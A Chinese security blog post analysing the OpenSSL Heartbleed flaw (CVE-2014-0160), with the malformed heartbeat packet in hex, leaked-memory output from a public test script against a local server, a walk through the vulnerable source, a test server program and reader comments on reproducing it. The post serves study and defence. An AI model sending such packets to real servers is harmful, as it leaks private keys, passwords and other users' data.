作者: yaoxi 原文出处 http://blog.wangzhan.360.cn/
近日,OpenSSL爆出本年度最严重的安全漏洞,此漏洞在黑客社区中被命名为“心脏出血”漏洞。360网站卫士安全团队对该漏洞分析发现,该漏洞不仅是涉及到https开头的网址,还包含间接使用了OpenSSL代码的产品和服务,比如,VPN、邮件系统、FTP工具等产品和服务,甚至可能会涉及到其他一些安全设施的源代码。
受影响版本
OpenSSL1.0.1、1.0.1a 、1.0.1b 、1.0.1c 、1.0.1d 、1.0.1e、1.0.1f、Beta 1 of OpenSSL 1.0.2等版本。
漏洞详细说明:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
漏洞描述
OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷。OpenSSL的心跳处理逻辑没有检测心跳包中的长度字段是否和后续的数据字段相符合,攻击者可以利用这点,构造异常的数据包,来获取心跳数据所在的内存区域的后续数据。这些数据中可能包含了证书私钥、用户名、用户密码、用户邮箱等敏感信息。该漏洞允许攻击者,从内存中读取多达64KB的数据。
前几日的漏洞分析文章主要聚焦在开启HTTPS的网站上,普通网民可能认为只有网站自身业务会受到这个漏洞的影响。从360网站卫士Openssl心血漏洞在线检测平台(wangzhan.360.cn/heartbleed)的监控数据得知,心血漏洞的辐射范围已经从开启HTTPS的网站延伸到了VPN系统和邮件系统,目前共发现国内共有251个VPN系统和725个邮件系统同样存在漏洞,其中不乏很多政府网站、重点高校和相关安全厂商。
为了更好让大家明白,Openssl心血漏洞到底是哪个环节出了问题,我们利用OpenSSL lib库编写了一个不依赖与任何业务的独立server程序,来一步步实际调试一遍代码,以此证明不仅是https的网站有问题,只要使用了存在该漏洞的OpenSSL libssl.so库的应用程序都存在安全漏洞!
测试环境
OS:CentOS release 6.4 (Final)
OpenSSL: Version 1.0.1f(没有打开OPENSSL_NO_HEARTBEATS编译选项)
编写Server程序:监听端口9876
漏洞测试
利用网上python验证脚本(https://gist.github.com/RixTox/10222402)进行测试
构造异常heartbeat数据包,主要添加异常的length字段值。
测试一:
HeartBeat Requst包
hb = h2bin(”’
18 03 02 00 03
01 20 00
”’)
蓝色的01表示的是心跳包的类型为request方向。对应源代码中就是#define TLS1_HB_REQUEST 1
红色的20 00表示的心跳请求包的length字段,占两个字节,对应的长度值为8192。
HeartBeat Response包
[root@server test]# python ssltest.py 127.0.0.1 -p 9876 > 1
Sending heartbeat request…
… received message: type = 24, ver = 0302, length = 8211
Received heartbeat response:
WARNING: server returned more data than it should – server is vulnerable!
Received heartbeat response:
0000: 02 20 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C . ….SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
蓝色的02表示的是心跳包的类型为response方向。
对应源代码中就是#define TLS1_HB_RESPONSE 2
红色的20 00表示的心跳响应包的length字段,占两个字节,对应的长度值为8192。和request包的length值一样。
绿色部分就是非法获取到的越界数据(可能包含用户名、密码、邮件、内网IP等敏感信息)。
测试二:
在测试一的基础上,修改了request心跳包的length字段的值,从20 00 修改到 30 00
HeartBeat Requst包
hb = h2bin('''
18 03 02 00 03
01 30 00
''')
30 00两个字节对应的长度为12288(8192+4096)
HeartBeat Response包
[root@server test]# python ssltest.py 127.0.0.1 -p 9876 > 1
Sending heartbeat request…
… received message: type = 24, ver = 0302, length = 12307
Received heartbeat response:
WARNING: server returned more data than it should – server is vulnerable!
Received heartbeat response:
0000: 02 30 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .0….SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
两个测试用例中,response的length长度值总是比request的长度多出来了19个byte,为什么?
因为,TLS和DTLS在处理类型为TLS1_HB_REQUEST的心跳请求包逻辑中,在从堆空间上申请内存大小时,有4部分决定type+length+request的数据长度+pad,其中type,length,pad字段分为占1byte,2byte,16byte,所以response的数据总是比request的多出来19byte。
源码分析
概要说明
该漏洞主要是内存泄露问题,而根本上是因为OpenSSL在处理心跳请求包时,没有对length字段(占2byte,可以标识的数据长度为64KB)和后续的data字段做合规检测。生成心跳响应包时,直接用了length对应的长度,从堆空间申请了内存,既便是真正的请求data数据远远小于length标识的长度。
相关解析源码说明
存在该漏洞的源文件有两个ssl/d1_both.c和ssl/t1_lib.c。
心跳处理逻辑分别是dtls1_process_heartbeat和tls1_process_heartbeat两个函数。
dtls1_process_heartbeat函数处理逻辑:
Step1.获取心跳请求包对应的SSLv3记录中数据指针字段,指向request的请求数据部分。
unsigned char *p = &s->s3->rrec.data[0];
record记录的数据格式应该包含了三个字段:type, length, data;分别占1byte,2byte,length的实际值。
Step2.
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;
做了两件事,获取了type类型以及length字段的值(存放到payload中),然后将pl指向真正的data数据。
Step3.
/* Allocate memory for the response, size is 1 byte
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
悲剧开始上演了。没有判断请求记录中的真正数据长度,直接用length字段的值来申请空间。对应于测试一中的异常数据包的话,buffer申请的内存大小就是8211byte。但是实际应该申请的大小仅仅就几个字节。
Step4.
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
悲剧形成了。填充响应记录,第一个字节填充类型,第二、三个字节填充request记录中length的值,紧接着,将request的data填充为响应的data数据。异常情况下,payload对应的长度远远大于真正应该使用的合法的data数据长度,这样,就导致了非法越界访问相邻内存空间的数据。
tls1_process_heartbeat函数的处理逻辑和dtls1_process_heartbeat一样,此处就不再做详细分析了。
附:ssl_server.c
编译方式(请根据实际环境自行修改相关路径)
gcc -g -o ssl_server ssl_server.c -I/root/openssl_101f_prex/include/ -L/root/openssl_101f_prex/lib/ -lssl
该代码是文中用于调试存在漏洞的libssl.so库的server端,供对该漏洞感兴趣的安全研究人员、安全爱好者们自行后续调试。希望这段独立的代码能让大家意识到这个漏洞持续的高等级威胁:截至目前,心血漏洞仅仅是刚开始出血,避免这个漏洞引起互联网业务大血崩此刻就要开始更多的行动了!
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include “openssl/bio.h” #include “openssl/rsa.h” #include “openssl/crypto.h” #include “openssl/x509.h” #include “openssl/pem.h” #include “openssl/ssl.h” #include “openssl/err.h” #define server_cert “./server.crt” #define server_key “./server.key” #define ca_cert “./ca.crt” #define PORT 9876 #define CHK_NULL(x) if ((x)==NULL) exit (1) #define CHK_ERR(err,s) if ((err)==-1) { perror(s); exit(1); } #define CHK_SSL(err) if ((err)==-1) { ERR_print_errors_fp(stderr); exit(2); } int main () { int err; int listen_sd = -1; int sd = -1; struct sockaddr_in sa_serv; struct sockaddr_in sa_cli; int client_len; SSL_CTX* ctx = NULL; SSL* ssl = NULL; X509* client_cert = NULL; char* str = NULL; char buf [4096]; SSL_METHOD *meth = NULL; SSL_library_init(); SSL_load_error_strings(); ERR_load_BIO_strings(); OpenSSL_add_all_algorithms(); meth = (SSL_METHOD *)SSLv23_server_method(); ctx = SSL_CTX_new(meth); if (NULL == ctx) { goto out; } //SSL_CTX_set_verify(ctx,SSL_VERIFY_PEER,NULL); //SSL_CTX_load_verify_locations(ctx,ca_cert,NULL); if (SSL_CTX_use_certificate_file(ctx, server_cert, SSL_FILETYPE_PEM) <= 0) { goto out; } if (SSL_CTX_use_PrivateKey_file(ctx, server_key, SSL_FILETYPE_PEM) <= 0) { goto out; } if (!SSL_CTX_check_private_key(ctx)) { printf(“Private key does not match the certificate public key\n”); goto out; } listen_sd = socket(AF_INET, SOCK_STREAM, 0); if (-1 == listen_sd) { goto out; } memset (&sa_serv, ‘\0′, sizeof(sa_serv)); sa_serv.sin_family = AF_INET; sa_serv.sin_addr.s_addr = INADDR_ANY; sa_serv.sin_port = htons(PORT); err = bind(listen_sd, (struct sockaddr*) &sa_serv, sizeof(sa_serv)); if (-1 == err) { goto out; } err = listen(listen_sd, 5); if (-1 == err) { goto out; } client_len = sizeof(sa_cli); sd = accept(listen_sd, (struct sockaddr*)&sa_cli, &client_len); if (-1 == err) { goto out; } printf (“Connection from %d, port %d\n”,sa_cli.sin_addr.s_addr, sa_cli.sin_port); ssl = SSL_new(ctx); if (NULL == ssl) { goto out; } SSL_set_fd(ssl, sd); err = SSL_accept(ssl); if (NULL == ssl) { goto out; } /* printf (“SSL connection using %s\n”, SSL_get_cipher(ssl)); client_cert = SSL_get_peer_certificate(ssl); if (client_cert != NULL) { printf (“Client certificate:\n”); str = X509_NAME_oneline (X509_get_subject_name (client_cert), 0, 0); CHK_NULL(str); printf (“\t subject: %s\n”, str); Free (str); str = X509_NAME_oneline (X509_get_issuer_name (client_cert), 0, 0); CHK_NULL(str); printf (“\t issuer: %s\n”, str); Free (str); X509_free (client_cert); } else printf (“Client does not have certificate.\n”); */ err = SSL_read(ssl, buf, sizeof(buf) – 1); if (err == -1) { goto out; } buf[err] = ‘\0′; printf (“Got %d chars:’%s’\n”, err, buf); err = SSL_write(ssl, “I hear you.”, strlen(“I hear you.”)); CHK_SSL(err); out: if (-1 != sd) { close(sd); } if (-1 != listen_sd) { close(listen_sd); } if (ssl) { SSL_free(ssl); } if (ctx) { SSL_CTX_free(ctx); } return 0; }
-
难道我们不是一直在说openssL吗,什么时候成https了
不容错过
- 西班牙智能电表中惊现漏洞,可导致大面积停电xia0k2014-10-20
- ISC 2016的“协同联动”畅想:是神话还是未来?欧阳洋葱2016-08-17
- 高通曝Quadrooter高危漏洞, 影响全球9亿安卓用户米雪儿2016-08-08
- 一次XorDDos变种样本的分析实战记录(附工具下载)熊猫正正2016-11-11
0day
已有 26 条评论
难道我们不是一直在说openssL吗,什么时候成https了
不是1.0.1f么
表示看不懂
@无才布衣 就是说:我发个数据给你,顺便给你个长度,你把你内存里面那么多长度的数据发回给我。
@forxy 有点懂了,malloc的时候他直接用得那个length长度,其实应该用实际数据的长度来开辟堆空间
今天上午做了个测试,比较简单:
1.下载openssl-1.0.1f
2.修改源码(修改客户端的payload长度为1024);
3.config/make/make install
4.openssl s_server -cert c.pem -key key.pem -CAfile ca.pem -tls1
5.openssl s_client -cert c.pem -key key.pem -CAfile ca.pem -tls1 -msg
握手完成后你输入:B
就能看得服务端发回的内存数据。
@forxy 现在源代码还能下么?表示下不了。想重现一下。
这个看起来太吓人了,所谓64KB原来只是一个幌子!膜拜大神!
@linvex 什么叫是个幌子 – -
@e 我弄错了。。求评论折叠。T_T智商瞬间醒脑了
20 00 怎么得出8192长度的?
@chenjianxing
十六进制转十进制 win自带的计算器转换下就成
@chenjianxing 2*16*16*16
之前有人提出见到心跳请求报文就干掉的解决方案,会导致严重误伤,业务都会受影响。正确的防护方案是,先识别出心跳请求报文,然后提取出长度字段,如果其数值大于数据包实际长度,则丢弃。
ssl_server.c:7:10: error: #include expects "FILENAME" or <FILENAME>
ssl_server.c:8:10: error: #include expects "FILENAME" or <FILENAME>
ssl_server.c:9:10: error: #include expects "FILENAME" or <FILENAME>
ssl_server.c:10:10: error: #include expects "FILENAME" or <FILENAME>
ssl_server.c:11:10: error: #include expects "FILENAME" or <FILENAME>
ssl_server.c:12:10: error: #include expects "FILENAME" or <FILENAME>
ssl_server.c:13:10: error: #include expects "FILENAME" or <FILENAME>
ssl_server.c: In function ‘main’:
ssl_server.c:31:1: error: unknown type name ‘SSL_CTX’
ssl_server.c:32:1: error: unknown type name ‘SSL’
ssl_server.c:33:1: error: unknown type name ‘X509’
ssl_server.c:36:1: error: unknown type name ‘SSL_METHOD’
ssl_server.c:42:9: error: ‘SSL_METHOD’ undeclared (first use in this function)
ssl_server.c:42:9: note: each undeclared identifier is reported only once for each function it appears in
ssl_server.c:42:21: error: expected expression before ‘)’ token
ssl_server.c:43:5: warning: assignment makes pointer from integer without a cast [enabled by default]
ssl_server.c:49:1: error: stray ‘\342’ in program
ssl_server.c:49:1: error: stray ‘\200’ in program
ssl_server.c:49:1: error: stray ‘\234’ in program
ssl_server.c:49:39: error: expected expression before ‘.’ token
ssl_server.c:49:39: error: stray ‘\342’ in program
ssl_server.c:49:39: error: stray ‘\200’ in program
ssl_server.c:49:39: error: stray ‘\235’ in program
ssl_server.c:52:1: error: stray ‘\342’ in program
ssl_server.c:52:1: error: stray ‘\200’ in program
ssl_server.c:52:1: error: stray ‘\234’ in program
ssl_server.c:52:38: error: expected expression before ‘.’ token
ssl_server.c:52:38: error: stray ‘\342’ in program
ssl_server.c:52:38: error: stray ‘\200’ in program
ssl_server.c:52:38: error: stray ‘\235’ in program
ssl_server.c:56:1: error: stray ‘\342’ in program
ssl_server.c:56:1: error: stray ‘\200’ in program
ssl_server.c:56:1: error: stray ‘\234’ in program
ssl_server.c:56:11: error: ‘Private’ undeclared (first use in this function)
ssl_server.c:56:19: error: expected ‘)’ before ‘key’
ssl_server.c:56:19: error: stray ‘\’ in program
ssl_server.c:56:19: error: stray ‘\342’ in program
ssl_server.c:56:19: error: stray ‘\200’ in program
ssl_server.c:56:19: error: stray ‘\235’ in program
ssl_server.c:63:1: error: stray ‘\342’ in program
ssl_server.c:63:1: error: stray ‘\200’ in program
ssl_server.c:63:1: error: stray ‘\230’ in program
ssl_server.c:63:1: error: stray ‘\’ in program
ssl_server.c:63:1: error: stray ‘\342’ in program
ssl_server.c:63:1: error: stray ‘\200’ in program
ssl_server.c:63:1: error: stray ‘\262’ in program
ssl_server.c:80:1: error: stray ‘\342’ in program
ssl_server.c:80:1: error: stray ‘\200’ in program
ssl_server.c:80:1: error: stray ‘\234’ in program
ssl_server.c:80:12: error: ‘Connection’ undeclared (first use in this function)
ssl_server.c:80:23: error: expected ‘)’ before ‘from’
ssl_server.c:80:23: error: stray ‘\’ in program
ssl_server.c:80:23: error: stray ‘\342’ in program
ssl_server.c:80:23: error: stray ‘\200’ in program
ssl_server.c:80:23: error: stray ‘\235’ in program
ssl_server.c:81:5: warning: assignment makes pointer from integer without a cast [enabled by default]
ssl_server.c:108:1: error: stray ‘\342’ in program
ssl_server.c:108:1: error: stray ‘\200’ in program
ssl_server.c:108:1: error: stray ‘\223’ in program
ssl_server.c:108:42: error: expected ‘)’ before numeric constant
ssl_server.c:112:1: error: stray ‘\342’ in program
ssl_server.c:112:1: error: stray ‘\200’ in program
ssl_server.c:112:1: error: stray ‘\230’ in program
ssl_server.c:112:1: error: stray ‘\’ in program
ssl_server.c:112:1: error: stray ‘\342’ in program
ssl_server.c:112:1: error: stray ‘\200’ in program
ssl_server.c:112:1: error: stray ‘\262’ in program
ssl_server.c:113:1: error: stray ‘\342’ in program
ssl_server.c:113:1: error: stray ‘\200’ in program
ssl_server.c:113:1: error: stray ‘\234’ in program
ssl_server.c:113:12: error: ‘Got’ undeclared (first use in this function)
ssl_server.c:113:17: error: ‘d’ undeclared (first use in this function)
ssl_server.c:113:19: error: expected ‘)’ before ‘chars’
ssl_server.c:113:19: error: stray ‘\342’ in program
ssl_server.c:113:19: error: stray ‘\200’ in program
ssl_server.c:113:19: error: stray ‘\231’ in program
ssl_server.c:113:19: error: stray ‘\342’ in program
ssl_server.c:113:19: error: stray ‘\200’ in program
ssl_server.c:113:19: error: stray ‘\231’ in program
ssl_server.c:113:19: error: stray ‘\’ in program
ssl_server.c:113:19: error: stray ‘\342’ in program
ssl_server.c:113:19: error: stray ‘\200’ in program
ssl_server.c:113:19: error: stray ‘\235’ in program
ssl_server.c:114:1: error: stray ‘\342’ in program
ssl_server.c:114:1: error: stray ‘\200’ in program
ssl_server.c:114:1: error: stray ‘\234’ in program
ssl_server.c:114:25: error: ‘I’ undeclared (first use in this function)
ssl_server.c:114:27: error: expected ‘)’ before ‘hear’
ssl_server.c:114:27: error: stray ‘\342’ in program
ssl_server.c:114:27: error: stray ‘\200’ in program
ssl_server.c:114:27: error: stray ‘\235’ in program
ssl_server.c:114:27: error: stray ‘\342’ in program
ssl_server.c:114:27: error: stray ‘\200’ in program
ssl_server.c:114:27: error: stray ‘\234’ in program
ssl_server.c:114:27: error: stray ‘\342’ in program
ssl_server.c:114:27: error: stray ‘\200’ in program
ssl_server.c:114:27: error: stray ‘\235’ in program
@ baocuo 你这是复制代码的时候编码错了,把对应的地方手动改成和上文中一样的就行了
我就想知道本文作者在写这个一句话“截至目前,心血漏洞仅仅是刚开始出血,避免这个漏洞引起互联网业务大血崩此刻就要开始更多的行动了!”之前有google过“血崩”的含义么 XD
@DeAdCaT___ http://zhidao.baidu.com/question/294953239.html
不晓得国外情况咋样,比如Google ,Twitter,Facebook
红色的20 00表示的心跳请求包的length字段,占两个字节,对应的长度值为8192。
就没人吐槽这两字节么?
mark
表示修改源码下不了(https://gist.github.com/RixTox/10222402)。。。这是什么情况?
mark